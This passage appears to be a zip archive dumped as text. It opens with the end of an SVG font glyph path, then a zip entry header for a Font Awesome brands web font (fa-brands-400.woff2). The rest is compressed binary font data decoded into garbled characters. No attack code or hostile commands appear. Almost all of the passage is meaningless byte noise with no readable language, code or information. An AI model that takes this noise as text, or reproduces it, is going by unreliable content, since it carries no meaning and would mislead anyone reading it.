l1.7002 8.78027c0.0078125 0.105469 0.0146484 0.27832 0.0146484 0.384766s-0.00683594 0.279297 -0.0146484 0.384766v0.0126953c0 2.33398 -1.86426 4.56836 -4.16016 4.9873l-32 5h-0.69043c-2.18848 -0.0195312 -4.38379 -1.7627 -4.89941 -3.88965
c-0.540039 -2.03027 -0.820312 -3.57031 -1.82031 -8.4502c-1.83008 -9.41992 -3.52051 -18.6094 -5.40039 -32c-1.63184 -12.0586 -3.24414 -31.7168 -3.59961 -43.8799c-0.290039 -4.2334 -0.525391 -11.1123 -0.525391 -15.3545
c0 -4.24316 0.235352 -11.1221 0.525391 -15.3555c0.766602 -27.0928 5.43359 -48.7598 14 -65c8.57324 -16.2061 23.0801 -27.873 43.5195 -35c20.4404 -7.12695 48.9209 -10.6172 85.4414 -10.4697h4.59961c36.5605 -0.15332 65.0439 3.33691 85.4502 10.4707
c20.4336 7.12012 34.9365 18.7871 43.5098 35.001s13.2402 37.8809 14 65.001z" />
  </font>
</defs></svg>
PK     N\cH& H&   webfonts/fa-brands-400.woff2nu [        wOF2    &H    ( %J|                    ?FFTM` 2
lv6$Pj  G[ߔqh^d T:L;v=/j(8lfi*??YwW?n6rT`e֏Y@<!,R΁業(Tп׆^pqwL[pA&iT2eT=(!cZT)Lghﱪ*j`MoTuK/gզϨ_9^M-ma2)[X>o2?w6֯=eE{7\9߿|M%۾wɻyB9%Rc$RۇkռR+ #pXN\?|U :Gп'DMc|z#"D.\i "]wgՕ_&Bo$/>S^eW5+ 0t߾`eI8`9~qƟbӽ.%Yɲ8)v;?0ϐDBsг:@ Mge"\ 0Ƅe_%Z/%3-q`1L;>;0T y	>Pk'!JZruPBN=̗[UתkH#46zXcGUJ9ʰzH 2I\܀tfeK]Rs(Z@QhWbX(bQ#^xMP1ju{ZԕWW,yrxqm/ޏw*H낃;"h (=^(3zʴgtS0zZww,C`zl|'m_Vm/44AeLxY%yf_ʙ}U{|`O dIz)qpҵ@d0́a,2[%/Vբe!Z{fl$ЩX@и{ `|ZU$mg"_*o3D7;w[<S 9V~^M#Eٗt-LEp`(LP^Ā)Z{pA70 H@9gR$_^Ѭr^фؕW)Vl\TZ*9JO';i֔^K:̿t1Do0v;wҗ˳|.rȾX}M	'đ`e䠾_wWR"ItY:RDu
lD^X d#w(I)ϟX:B?c\׸u5Ȝe a!2f,׷tF2T|,CuXKa$Kٴv&j39 o*3kZV.B"w9p5}e[ZFw>r[`%7cYߩ#0B	>~~Ձ|.-ji+ڔ[٬m+	kYb'̐j]%
Li!7G8sƥ8$.$-72wIB/c҅͸e܅=lq]2
uoT@3Ky7ǃ:cO.(lv[֦n"gA	7yI(0*Qg[ٚmޖpj9n	Sr΁zy뭏pE^{Ix5=C{7xO1bMFj#-0ߐALҬTBXJYLQmr_޾ѕKٙёz\|Y]*d,
Z~>x?BP*r*C:lb32]Ƈfqq6&~L?3)~~.u]J]?Ǧ2O.*xIeE_8>|COfa]?O@buPUQS)lp@w2KsQtFCUR]yeǡY!j-ĒjՑ,aH%/ #dj"`)+D}f&iEUUtMtr A0\BC9T<6\C隑9eTU1 Ԁ*KA=9YPqi=mi&<*BgKv"{&g0VРRm*J;sk1*VP	#cKn</Q$"c	uY\]N?Һwu"dT:)w}C	#@27l|eABLMop빦ȲAP$y/5Me|b\L,bZĖfv'`NϏvP1Y[N# Մ r	șUވjYc#vZk5Rsi:kiDFEGH|0wZEoEQAl@85(&/*"AU8f" ê`K?F<4c<EcOXJ7+P$EpI0EtƎINm-OR1U.i	YMW@d~H,Iz(*H'+Y ABD"hkܼQv
9Po;t^]k4,{/) taO^ ƭr94`bDCi3J{E66tf\b@
ie
ySD)ŴUQy;2>Vg
<u `m!N95P-7q/Ƕyw߭SiMЍ=q&V@aq
+2bGUI&KaR76H  :.z?Rg׬pN:~<?fq;\)A7ect֔eͮ#cP-4B<8O?%q*|z *Sd'8A! ҆	3>i!,5=lnuRlܵDJ:t@/U1/20] ;.ĳR@~T)9etyxi#=M8(~{n)KqhpT`4TN-j֤4]I`<V:RESK5#*sX~ߞR{DVk Ph$#@dʰ,n09+ʴ,ŎM2r	; fk vyE_C0=+'-ɇSJ4wjVݺ^#m^'RzO	?c6 /
[iS `վyLO7J':j쳿&4+?320WWסJv=$, b;m2]*ǪRD^E+HW٧hJQk<  @00@HfdXvxW}
OQ.' k3sb _s Do;äɭ{mOѪ=!4e3e6vcr¸_.JeK8,Zg0'[Yݭnnz3a/K:۟l@ bnTCOGVB.!>W@j(	Vd.L?_nP|7dᔦOac@D`u"3&m[+,,-r;QuCiVU~*D"ei@1vgLMMX!.b}^%?6͍L}-g7XdmfDLD؊HCb5`FCmD?)qz=$*:GSld[ɼhjX#WBpb1g9MטOʖC<#F$)p0(5ư=Gs
U<y|uWޅ7v! O_y&!dL>{]O	֛;PFf*ٰUS
SzY(=xeq%b\z%%%+^8D)&^fۖcE8 nז''&Gr&SKّxv{ߞo݄|F֛)-;Vtdqɐ܌A3tS{
21,YqQr
YhBAۊ5F/plnPb(2$# lNfmElۀ<(\[Ec:|jAB+E&##M#mT:DWt+G=*~'^t/މ{"IȢo݌gh10w\lqc/ڻ%gQ4<@u;-(5ueFL[RzZ^\k3W$>oD/HSS@bN/pC|&%=!S3pk;Ƒ[<r;6[[^͈+865˹?cuv
oߚ 2옓D;F-&,+5''o(Km>+DB.Q]mҜN#GK
i5UO@ݏ7R`BB[#Q	(Ԯ\3#htGeܛm!Lڔ*4Q=5K05JC+G%ńc"~D>oKE@ͦ)I)yjpA%yn(>hY> KǢGcP!d:sI*"Tf$:vGw=Ԫ+$%XVc5DF4;vo05</G|Bg7r#&dՄ=tʟ:ȋK5Vu
 H64z1T34C'>Ril(TvMB%cwV|4ziwr=sXĖ
4h7zVr=ZIʥ`"#r|W|] Խ~d	OCFFͼ5oQhT۴7m1\
ɛR3ʣgד8W=fcj"ͬܰ1\DL4g/I&#>xXA3i<{zyc(]QBZoIQi}}[=r`Umwv}ez&77;ܶvv{lQ8!ւb{J,tNbyS.L{ŢTa.Ѿ >4tBQB4+-SX˿8wcg
u/{B*0)k>[ĵxLu/gCE׆c=ZR{?n&˞h7d9US=ƿrm	8b ޠ9Xtٸ_q2$R$Y݂ೈwV []=zhbTi獄]!tHB&u{#clnR.;HG1paU:ՠXEҠq0{訛qyZZJkIG@z		c;J   G%353(X*/Z{aXfItxS,*ZJQУ#f3lq'%#^fP'Ȍ =T z'`z2Qmb}o@T0F8c=jྡ?jzD#勦Uz<X5GwS`+wa?C`Q6y=Dq[2Ovʠ)(np)f!ns"MFv)<>V}vK[g`pqYKeN8:mܺZDV]>S+󨗉 G4zF8$,X7inYw"v'9r<J;:kHƏ,[Dm97DS&?ѪW7:׽W@%#JIߡx/.ܴ~Ŗm/IFjEG_4xo@F*.5MLY>%&6PWvx=M0jAnx{b":A:1!JDOw`y+h9ݜRۓNx "A"lFhhgsOW2uoe]\f*졜9q;<q9*K:	g5=F=Ak4u8֪cBj3}z+k&b޻|if416VC(<,aXY&KLxAwNoI\k \)#5wuO?,bk(nҳU,\]g*zN#fic5pE}#N^yqt3-V|[IF gݥxƌrjܜbsoso@lTiXƢA+^/_wR*VOt21Ba>(\[؜Bhh`]+ hޫ(єqV5b7g*Dccb2zT*e CͥȌ0G[8p1	%97BVt¬k	|REE^~r%kDo	OQ[YFųEib_C9wz!,ͽX8mċ!qM<G6᫫6IXP<_rXCkNz/y-{~k|0*	TRcw~1ʞtWf*Nn-47T`0xdU'Qn<ZP!+$zH %%Xxz5J>C)H<"m+;YG]vL==}Mh8[wsSczrn/h:
#m&yc=ag3t%1bi!E?UA~՞,#	ٿyaS5><HBR ,0	6.Dkxꕤ/:^;ϖm"`bŐ/X&8Ym@Dj*Z1(yZvۼ-mڿ^S
C~rz;@3f`Kd4Na4L~/Wwf!B
ͧ)=w)v^7^fdL;d.xPXlI'!ܪDiGzl:@d_ԷGxn
@ًvEHxYS	ƋXZςuD;1"<f'GX9(yt#!ඤ6Tj#nQ@	A1?`rJ3TwiU̢yJ'7ޕ
+ds*NhyEa *#z N`GYJBōfב{FdvAi)p:GPt.6r3y]Pa)T5Z'm.O''.v Fda`KhAU"JMT0)FJ{k i*fh\X0Z7&'I&' ib1(wz3Ϗ#,BTձ6/[󬢍ĥXRs䦳V!hTѩX 8+X3ϮćO}JIʾ=Qv|"dѨt:`a)p|{-c尔YA%N;v_%DMW{Kzx_6襾͈C1r򣽣P=IՄf40V°4? J޽`XR)JWs`Gn릔y5NvRUf ܻd	;}QJ*_d:	# g$8J
Ö\vzλ޷C%Xz4&	ﺁspmVږ$&)ЮxAc3앪CWM#&锧o,rmluoU7ҷDPOCC>TITg>VW}Cnf]Kw|	9aqXj&,j2qq422/΅#9}8v{}湢lhW(ڼجad2Slr$y @!;J6~,S2<_n* `û<qп>]_>UAƌP S{hko7?je[yi
8}m	Qy &:K9<rMJ vPjo&:7î6<.Lu *E`! ҍaX>7j[Kk,kS]DI. {7Lp!7ηtR%	Ìz[F,)T/`p<D*25m	vQ{TF	ei%	) xFc]ksƧ=Qf#b2f&pPa']_T!°qy&eZ{ȅ
͆5"?>zWGsB+<Vge'؍Ͳ)R(װvVa,ndL8qRK} FAfX%WBH98>ml\5d&~y`Ac@%z&nvFEA5Q>߰$j 6 PDL1w5KwB*Y\yzD+t\v"$űų^}xƆӃ|N:¸"KMfg?bfL@TVq-j=s,Ws+Tzee&%	aN"o6\ sjF_櫚f[Ϊx7ʟ^Bl׻́:s[܇E}qʂ$BNxLl;Sg+%Ͻ/C'&]VyU
c׋^#QIܴBK5pd;7Vnf;I qORw?LW˼z*zry !Xfӵg9[qz>.e
XԻ|_"ޖ)G~YⱻO'F!{iD
[2UCzr}"_cVar /iF3bX[~voXSeMgB7nO`KkY>>mRQVF j~y$8djp:yLH4OA݄UOlNXh2;	F*Ap$	qGFZYz|OoY~^^cAck`9qh>BI`82Wg\J*@yi@(nvL;n@IӍ"2}jLU#ACjl	!!bwA
&;5nE]ʯ3-H4=(SmIF	5q5(Mcu<Ӷ}مjj:-I|'ܦs6Cp
-Hf)^e{ez8^3|X]bҤx׀rqw?wx%Յ^_;g\Vm9NN&_^>@'N]'JLV)J3e՛G7CksNȩe{m%O^~,+awBPLc!Ԓ69:%FlFK9^7򐎳N|NYQ:uKOlh7ANGx
X0[4Uʡ"!Z)hV
y5_iy؇/WuVČQڎ&ذ7{&^Im͸:QG|qn[lb/[~^@(/.IvocIy=sSׁ6vc7P!c3=	ey\*1Wؘۚ]66TofQl.n
/j}wun{iGO;v.=#0T 3Ǎ3Ɓ╍R~ŅNHit(7kѝEV+)-kĺߠFC#-INn?:f *XRֵŹ}=`ws,!^{+λ縒/Ocyަ[qϝp$h^{]z<msޮSV̕iY
TXDLb#	=2vk}K$gp0|:Gan:RrpVȆ3էZ	r[;ǴprSPA6Ak,Cdu@/o)XyӟF_oL,24P0bb]išpKl$wn+JQwoL2Ota&
vSK@,O7JV7ׯ0,RyĬ >߫vYC߀Iq)g;IB z+H2b}R-[~BM/aȺ		Ɖ)\mm׽Lr쭍*E^&	ӬRy  -qeF,{gAdql)J@
-q;NmϞۙ7;'iSyn*Hq7~7رz2[W}8U#ipe>A+_@+̛kP.n;[vë_?X}z3ƖUc
:n"!{t(7ʩzw<[c
xvDWVLЊ3քv}Da̼*+ıpZV駻e;m;l^1ӗV|iǨk"Cqu,>4Ynѧ=auyڱO+jt0ګQĝڿV7(Ql8ļ
kHe`ԭ#=nY<@olvGÔfP>ׇMWQv25={r +N?M!cS%.IzyRC$n'h%}5$6If#ڸE{NN` Rb;Bԙ`\ncA`v qt1B ur202\p+LiJƛlBT2[J:Z5 ^V/WH}?q+BiGC#鬐dHx4힄b$ÉLgns63։x%9SB0n[}櫐^jRG\`b*W2Ml]:>sӞ=clp/ gbǞcP/'>{ 2BBs2?pZH{ZF.%SI5{cQX7d#E<_A2+ <30OĢ2\t ydV1RaMaAfO2Dm\N6%fzŜܵS-zGZɥ>rnx@*MUZVOq0g3Ҵ2L7Q|f3	ҋE%~ͧSrg07Fo&Ƽmn	!kHwrf9Z2Kmʗfj9aUWA1HG(d|tuqI
4\me͖2YcGFUY.}tNtn̈́&{,FQdUmg[Z$ 
F9r<sZǕIHiQO^sՍ,yg-}C⵭G]J1,5dn+sW.rS@M=%T`HlG1I%b{*\s}!|eFYV_7v\Pl\f4?cqsyhɟ.JOXѤmY4=Qқ"//_AP6FiP|'Ubt,[ӞU"N~Dvf
1#m8٘I#FB271O8$Q>IKl"oe,R<k\ Ŕ#>]0|Xts?Lܥ;xFw_2Kcf4p{'ֳMl7qn5ܧZH+2:Y5!771<z/wz=dlۡ5|Բёc!;y߷E%n(F=72u9pºW0璼=Rؚ;3[t,kHϜ}uc.6PޢĪN]s]mc/y ɀ`e(CI,qML*0\a'v<OzL͌Cb+*|[KX5s$/.EV/V{[I3YS&dY}W>wvmE;aGW\o+wXｶB[sɿJ,~wZW/H4u_#=RI>~oWu=XEYiñlM)P׍JA(ר6Ћx#N>)Y -Ӓ-npa=֜4Ǣ	4H&jg}6o$MKb֬F< S<&Z0*{c0hiD6Zգ!g^S
9&1B.aRP~*@ +q>HV-һmc8w$ŚT3s&Ӎv7h=Ln\ϞO+FfqoO¤Q-4oOTt*;ci..f&C⊸f^Ė;WFo	}bsbl4ЭWV|n
K3UXٌi+Hgw좨~o&j,Y5&li~ۊm$P%FvgGg(3$H{*)&6wNó{Jz_^yd[a1~jRvwܾ#9cbL!ݹhv/a5	qrn&5Yyi&vh^j{zRȬzGkzY&E1{:<V!V#{X,yhתT:Rab;d3δAuaӵBbDi``"4jHo*K!S	C}Hv' 53RV̦WhHURLrA"٠1:rƻEdj`	9T-N_ͽۤ2|dʹ*#'{&"XnG5&hm2@
t9P#ǈfQ-
aD[;Xn@[X^y}MaK+vr=5[[:'ErOm?<gMky
mp6id/fmۨƎ~>77Q7lmØE'BS5˖IЍ|da<-3l<٠svW3j,Nx$T&8ٓjalY>;Ԑ{c}l-޴Ps4^!d4 {tj|r}tc^-AUμxbWAokv|wʛwϿ/#/^W^<ӺC''n~>c>Hw~Nx_-:!^׎pPx_?-񹠃FSJ_z)q(NXveCmæՔ\0-fsR	S4McйZ[K1i%&$3ʩA!jL3kV'abq܉;^&赣QLfwt=|Gaxfj34PO2MB~W!f!:w$V>Xn|?}'Dy38ՄB_볾{UBU2{\/ɩI6z0tdz<.qЃ- D#0,-	XdG 3PSFFD5#ro$$/j lca@5#)E1	+kL
x{I8PP v+x
 &`>
ze!17Zk}.%HJ|g=
pH î4H>]}4`B魵YTl{㵷'vw'pN8%3EH3GGWF\6 yWI
ڼUh$jY8d&1j9Ķ]\Ei[EAlysBVj.%wF:mK^qkJ.q+2XQ$>m'tMt}?pE#`zr^Oex@S0br3ov?SiK&3י]8o>P'>EQj%X<zAg|O;P|}k  A4PFPŚ ./`൒6sbóBHkjTZ*;'А
O3%f  UV1|3l.Di3N18;8R;قR@&(>hpGIHxE,ZEQ>dcB䄴kUZN͒PXTj&a@j
,?0v(.eB*il^Na6A1 [pWxPҒtioj(rY^ $QL:|ŢBD.dHI8@+$x}aSrqU=1Z<7cahW)$O<ٮa,|60hh}kϥ$A䜗s-/prD%	ş4rQA 9ȏyBҋ@9IAU؏KFOˀ'D28D Jr!~o[#{[Q)]	5kÂ$$B%S8`-<xyFlnpŨYgA sk)6zh>Mؗϳ'[5F)J0N%*C}7!nяA$5OgPuA Ozhk@ pV=uv,
<a\{CLuw=)Ci{܇0!ѐ5*2: ox38d*&Ӥ5r|sōиQV(hpnWų wLH AN@a*MI͞3_J/INn0+߲,@wQkyFPX(P!kSD*w@bi2u 2kep#۳m0<>J	X1M( @dYhoB*Evr&Ӈ\=fP/J";q?Ь5_J`YL!<%;;WSTl
^%A88F&WpT^BqQS{5X
wEaVB;AF4_ɅakcI{yō258kX[Q/j^$^"Z+Cۻ>hHOdt	L~oMW&dH7y_$ [<<8>'5iZL`ܯ5Di{wR2o>P􍛲n3J?lٟ:j7S/V*X:!-x#	j( 玌{tLB?rp+=IVe7-Whmr>m %<;OYc:x&d<29ˮ
x*JFTțCѮN4V߰	deK.o}y++S5'M'Ji)EН<[ו޸ٲl 9"Q	q-4޹v4ik,tP"W
"T-jb89b^^B5Bo	449?>W@8½~[	)~Yӂ> 9E3M쿼p9ZQ//XN6('y0;Gt!# K({r4y2bXzZLro[,gϷE鞲QtvnȐM7r3n;?hhoH73Js;el?2n'=.~:\X7÷;x5wE[xhDHp_u:OhEV;7zw̰Ѝ;ф\<<ALðZoL-*V==A3l,II/Z.`&:>	IP)Ztҙ;};/֤(qEk:EђjyUہЈRU@R-~x{sUcBqoEMrOzah;ooI?'1<;+ai
ZuCsYU..V"kzr$! otYάŌG9D7Ea=f׸b2 Gǎ=r.ZȈwa{0KIp3sIp9o.?=W_\Nmdt;{60ʨXaM6S<*ኙX,jqcR1V*:) dwxREm{tYXLNKSڽwD(%bfM`ds
&&i}χA	8JEمK>wT3?7`7%˓KW 8`+L-#y0nD4Pv2Bf0Ջ6Ti?fj2ĴY$ToGgU&TZA)kcT5}ZE67XndrΑ<3t;UOBu Pa!p02		%gˤh{9%I[7Oek 7"шz7,@^c&%ynշ^$@GS=ueS|=Gp,VXh[C`qudt<9&<XmX}>,7:?:F#ヱ խoG;1?X{yc;9r#>-P=oKUkX3eˉjUт!{1ZNB
%
oU1^v'JTJv^cĚsޱ=u3Ƽ}u[͠%O2eiy{2\ulZܹe?}4{2Ofʌ֓5Vgm*4,#'SN,Ui0ldf[tCoo><[7ZZJAdIYUz|,(WvpMswtUI&UTsU\Oj@#1>LoBY66RMQM-82SPѺ"thl-uBI$P,ĘJtuaj#Z=T`5,c2,k!B:47Q~>,%:p{Y/%zsx_9#i	11P2Zl lmtGg%7?YzV^sՕ(N()%'ޔ2-OR|<xu9A聠Ăh׉tbNr5=O~(/Lȃ9ɭrd΢Eė fez"Px!(E-]j/+}^r{Ћ.37+Q@]NٮL'X2R,Ṫ#G
ۂDAy"q~kƧ<pQ~}"UI5f5zlqp/-KAK0"ke9Bi&@=H+oGL[?zngN'OD.qH&7.]gk-p)\ty~<vE8VDۋvVܻ}4<1y6u[PM<>!h=4;[Q)L"W
C0 j
!_Ltj6P$v$Uh4|)ֳƸL`. ?âbTQuX[Q6:3bp=@|QUyA.1ljhjU)o)gJ~TUe;w#ם\:ER|㛨Z`ՋR\cl`O-98B(}3ikZ0r+|F1_gn^с/`SFǎ*ɺk~kƱEu~?ΏaF
Fi V;Zct
+;G%)4w6#S%WxHH)S YL2(Ǌ<3rV/MJ<bf-R"DoawCɱw}@̩G.k9z8}:d- 5bLؘJ[0Tӗo	b8[ev1~[բ@B^$oaGIe۶R 2	FoX63NV4F&lǪz#d~=S0ծO'i;we
 8	ΰ^!lCeVeVȮ9ۭԹi:;Qk@
˶zK 1c\RF"&@H!˰~DE~#BoV#93 TpnQ#zI(!m>,*XUX@;.Ƕy+$U:;G$0SX=׷
O&։,|}0;\;tQYűԕ=܁{wJm 2bpW;xϘ'`~2IBq6IcT3\DS~	~8fAˎX&V{<-8m<. NRȩ!#Z~I~d	P?-g^jC:x@JZlbF|s[LjHC2Oqf󽷊/N@W!:>eEFxViafen/2'6xQZ;#ekL@.O01z2"dJ4˜yYXV7\\N,@1ˁRtLmf.<DB_Z|6DuDy<ҸMUN3G7*"-7^Պ4n>!K-uAnOi4sʃj&g(#-ώaF|ǖ,i+0BZf-$rAd@vګ6c uZmn#yէ?b界KT<A@#A1d4/
V#wsi=_'6zq\kʙ':ڳU퓴jCFHe`lqF>>*X.^*EoU_H*Pt	'w3x6BgQ39CrLnڭ3q:5m2VUytjgE|t7`SEei0J-9]5O"mH0֣Nnڐ| ^.+ץB+9_ޖh/ʶ^vDضi/M(`{iGykUU3 khjU54r,4EkR-M%<TqWX8=	S(!=<h(7bFjο˴Ci;i)U(I:7q;NN/|z Jd<c&xD#t'v6" t'Bq#.h#-m%X̩FTf)	& 9:ɜ"rz-,@7!ϫ}L+Q}O˶'En62PxnlLpɥONLm _}FXYC\i	!+_|YR0[jFCĪaYY3 wzd iG7 uM4ilwn=93!Z퟾{;f1Vr`"U8W퀧Ӈ/^ s/	Ӓ>[0u>Xa(U.dEJi0("f0;AGp:Hm]	qe O0 &2x''(i6xxhGYmZ!
4wO)<LHX-ZlF|h6ޅ$" vu]˰b'/߽S6ȇUp-Ϙ}:'*P;
xg~c.W#B~J$.c0,2}Ji *g^#x`( ^t(\3\䲘܁\
maTwg(<XI"Dijl**P
"dP92 [i%'(g.]p5>5pKVD穱7߽EJ.Р}0*MMLp3.˯춵wΠ06G(.o1eeK _SsT\Lr4È\5EFJot҉bsܟԄtFa:=uʦzG0amYt)@ެ1@iuHm+ĚfB4 E7&@Y]>QP7_s/x~23b6:'^_3Ὣ:ڭXNZOyVOv%Ox}JD+ZWKT*RA@:bN.~th'<W=vZym?J	b-{S\jfw_&-_2R1Liϯ!g|XZK`7S{?D$<e҅td؀'d>락 ,p  Dj׹б'|<F,9Ann_^nq*ןA?cg`,7t&E_} /2R28G\*]Q,fmkJБEqVCIR9). $2roy80HhAMO:x4<{ݺ{}m2eSAX44	hP<#4.ݡǅ0ܫ(oG9:-́ScնC>Oe?^4$m鈎{AD#5ؤ; \:^F\$ yn|bBu
_f^/븛E
@cl r3P%bE VK~Wmz7<LO@.Kog][tu`P9T:=)7d+CHI)p:x"Fw',˝sG]kG脦*e{EH3泊9 `wK`LYc9m*|.;yD/?)Ű$ɂ=n ̞={kG8Q.;#bB}S'.J1n*+>[a|+gd3xw"5cP,-*tZhP*0B2$րuhߛF$3'BI~D,l	X?/7IiX!@đҖIb*<w<`VZ\sP{p{$A<bΨexǝ̈jJ%E4}FZյE{Vb]3I&g|qڋl.s\x}#
E3b}h;<p,p'36S/勇;zF{=ynϱ!IjJs~Ya3/!m?qs+_wKlځv^f;WxE<FRFC&iVN-lf!zCkoj1}SBf'g7@<bg萌6m9'iBum"dk"UBl9PW[&pwo6`\{gnܹ܆wK+4@p7}=}~i'w ga%R>1ᬽF1<eyP@j о]5adP
l[=LlIw}, J`cjΡq}W!8X  g>丯/FѩȰB3qęLboMȜ\R,u &NEK͵##a2gwot+厣ttScQM*Xar@#!Ezl3-cmwsv@Dko&A`.,蕕U sMD "Z5"F̗R\:<ݭL|T`)oSQvmNL`R9t(qaCdiep^ALwрGߩgV+H5b^٢GBer(XFl\""1JÇҰp1Ch rY2i68߇YeA9xI14pS*'^l&r綴V1Ϟ`ge!8`h|LHM R@fl(x0:IT%1 f!~aErrL1R̦$Ya-2<CԔOFwt}G,%&b=9J *^l~lď-ṕR%p+mBB,Ј<Rkt1wHh#y5τnq]<ꑳ4|"	,fFO sL+-d+gPF8r{diuA1?nd1bC#@R:4Gn\?3FT}TЛPP-;bY~1̉w[mްbRefe-P!S6Gpdnk<9GiM1+n?#Ҧk5

#k	sOVK4Wl+o7y>[j۰U^L"LAHuut=naH̔eUn#0A&{Nf3K,,!We1>_vm󣛑UǴYFvCVh&tJk3z<{^μ'^`0@j~io<Mo}F?},BHi9LmwqIg8cMmAml Ya^nGb-X-zOAp8:gY_FVp9*w?'5mRZ19d'0چp/|vFvb.=7K[1UD Z?N|SrDV]Փ%ܞШѼSDȱ(n<c BFIJ<_~E.@6aI[}6C	YH|CB[kp\9.uØ=؍2׎VyӨaiыo~vk/*';ĀLKFyht axh} Z4p,VV<[zkr\$/fC1$[PCMr*v'Mx{&[; ARDT	$Uh.oU@!X䤚VL=/4H$Ɲ}tȂ)r鱒4ߣǦQ-ڏrJ3"w~,^Sq^Ɨl<4--ʭN)Il/k3fnFa"(e]w$j"o3
2bL'{_ΫpǏ_rC|CMQ:0[Uѝ9#ę0A.ɝ@(85Nj84,w_;&7yں  K:ۣܙDN5F(Fm,ܜ
im" Sg$XSHN0!p1kK4udHܘ_shy,me97Vl`$1QG<T492=5WU23b!n_u#%,QJWHK^=IL'-rnx:%JOj~4w$;-9J #f'JN./YJSU=npA,R>e.q#y<Ks'%CY/L(tQ5+i5D""ffFTN@CA} ."{AB_`D	27Z$^3LBV2n	 G:9>Eʀ,TɃc%+<5KwGFAADܡ͛oy	wS"wNzxF#6c՝cVmѡ|*B=)NH% 0ׯOCBDgN19-T^w ec\Dr:TYK<h5ZKP4ڒ47}VxVGR[$6Pflj1c@K`[^5DC[MG-. #OhrC)TNA OB^d+Pe
,})rkSq)*aX)  r.60!mDֲeDH$$ZaU4VD '@Ung>Rs&.(Aê*a^iaD!RA-En*EX8G\j#<ߑ#e<@XyH&S:SY!<܁y9!Qi=zuxqZ|[pQmtI()يFmȴ$bm}s@N8(d,s'Ge
ĂYCtD0\@*FɈԮ*0S"x=}bxPOB6E܁. 2W(PT>?FFRH@V)r۪6ب!]>ʰ3JhϠlA8o#
PQrL7k9t0	cx,"1L[h8rlXWSyQ2S7Ccү+T& ]Qbtz/ )_ΖO7''juV8ҙX0!pH eF"|zQxawh߯"M8=۶(a/O-xQ`~_yp%X/UW'+` {t1ZZ;OX+jӋÙ*,S⮳pT9Sf-Hz~dI\`f>$Fu&Q˪hg ̉Ia+'[B<v<=XIe&r5,?dI.T{t Kq|\XnH3Z֝FN^Qw$ 	. QZ4Otc3EIs$ٯ2z9H\X휼yGU=Iؐ(A^Om="/9B2?@{g3:b0%cQnrĒ?οгK	jbO0>z͐cnٳNmW*T [93.87wCĹdjTO[;n(9ńIeR*>pTӦ}Q0/dHDS'?_sUmȬu(+r8olɘr:GTm)m06vߟ߼G9o6TU Mw6&9VB'rr'VѢSǕMIVi Yy9
I<_K*@*>w3Ҭs}S∧Ni-wp"17%BMj`"VLK֢5ڐVY,\o?plQT⩣Z'vlp~pxp$uAYBA,Zu'jrO;gmh&0SU&Uǀs1Cu m:9\<X&\Ȣ0:_iO26(p<aؤyxo7
w?EGH;J!4zCrW<~%("	p?
912bc9[WxtNaPIDBfaDCtcC&b>PF0w;&!- PhDG?
?f5c1%-uBlƯ.J!p䈤wG@\̀UpPoF(@߬E<^x]5غ/1_e_\Yo)4	5A:uOx=aS9*5ëom$7tƩo7ߛp4[Oq+=
u懥i#߮.H
`>[G{FZlQ"{
$1Aͧcl]
dʷտa*O]2_1(&ыomx&!ZۓYrW˥QgxЯ{)z@dsEBd[FqrUN:wk*MM!NIg"rnesRgux`oS.ƽݎ,ҝo܄jA;
ؚ;!AS8')D8Pq K
iWO@lE@H}<ʍ%&=XҪI"DaĮ4p\<bv'y#tѭHo|ܫVr>Fv\YV3)KI#BN2*"L}) H9wɷP"7<Gj]gwZ&.E?vX>9;BzyL<|2
y=d,&%4|H{9x ҍ3Q)W| ߑ˹V=<rwŋ.m?>(p.F,Iv(Сz$Rn?}>veU^Lv2]ظċ;[	u#xWUzWe	]t#]
ssp늜*sG>f{` d3w5/TSɔxjR7صzf#8d9Nq긽UEUub2|<Bq`fr91 #$׆)U~F.+7HiYy'~)Lگ|TMhi]xİR/^g3y~ԙL|oZ;yPsY+Og$ˇ-]ҴEw#9ޤj%:|90.-fThW~o> i`g,g=,+'~:22anh-'/+k	kTn[:9BzAMQ}Jyk&Vff'0熫V0YR֮E=Ů"YЅ>z#
@ZDKKʿ{qZ98Gאb-RwYm(ZlG|}5AuRR5dCtP"	a$[@*96'@%͖ n+`X_jiŞV%k/ ׻(OnxlC.vfՓie2Etm^	Rوὶ%O^%ǧ:_.yi#+M-L^ɻG?g]465&&'q%[ؗ2=-޸V̩?>ۥ3(#B[}~?(\TAX[MBO"
EX/@$R@|O)VOqL5nyL#(j!<2zN3<*GRsq
(z#QAy<,=6p8u]!>BťVw_UnOuTDNEG{_: =6m!rf5"JņsD{'SԈ5{NuVu0d̘W+By\=\ՈtcXouԋZlR#%DVlTOk/UqJCǳۚN^-	GL gi,<[}s:E^gzUnkC/Nȵto]P:L/F}rt2"WzgX[G ^+"wcU^vZYadJ+;mU.NCQ]dHM؋!0"U17$ȷa}^T'kICܯkzQUzLhxExJVh	`wi8_@{%Q1q
\VwZu;1#imq1/#K>Mo_)%5x*eܞ<ng#̑CaE]),I9a]$$;V>>~&$@ݿ}_~aM=c2-׎H[D5\mpR^/1H	P:<.
۽Jan'AdgȰE./l!j-3[[Oba(YmT#)Ϡ͙0DE%8ϜidfB);pPHq굻5N^L߳жV:AYk[ -R70II@u{~$LiBr
FhS%Tj` DTpNF&S#=WI#cҹQ-sk>.y>}qAmfT)bK*y~fI%jᨥ	rtLs}v^"ͧ{t ׆;&^|ǋåbm`|o{ZpUV%!16(J$n=I/U$Bhh.IH^9_TCH*؟qK܂EbS0ݕt!G%"yɭ񻨃#ՙ׷?3~|,d!&99/=P`nE&7-͇ٶO)`iS5nU^7fq(H<x}`["rFYZ]"1b%GSeBEJܲ~b	:3ّ5HeLˤ]wEs`BJ#<V"'ןkgiHmT$s6*I&!z53\GREKQEOa8 f^ !{hZRio[t^bTJ\<V(a<mowrƑk)6KE93XKp<}'x2xO|;1U v9#Ru1Im²-~,)jc5b&7;YbW+5?P0_ͱͱUoedH'RQ^uHWUz?UQ	2CIK}K>t)#v͑0,\bhN-RĢ08l|Q?u f/iKx)('(WPm\qb9&q+YYX3tYLxtec*ǌFw?Di.3]a\Ya{0,<$Di8A&YgƎ˔ u\: q=zQcsouQ4փGđ	Z$۽]9˜Nx(Vxcbپ]20a3qLz=sd6DpIuhQO%t$(Fg>ijI' 骈ﺄ-W{r}~U_~sP\@>ˍ_j.}n |Eh!'a߶B!ԭ"2s>_+|4))
\blcl*Ûp*1J,9lN!x >"8
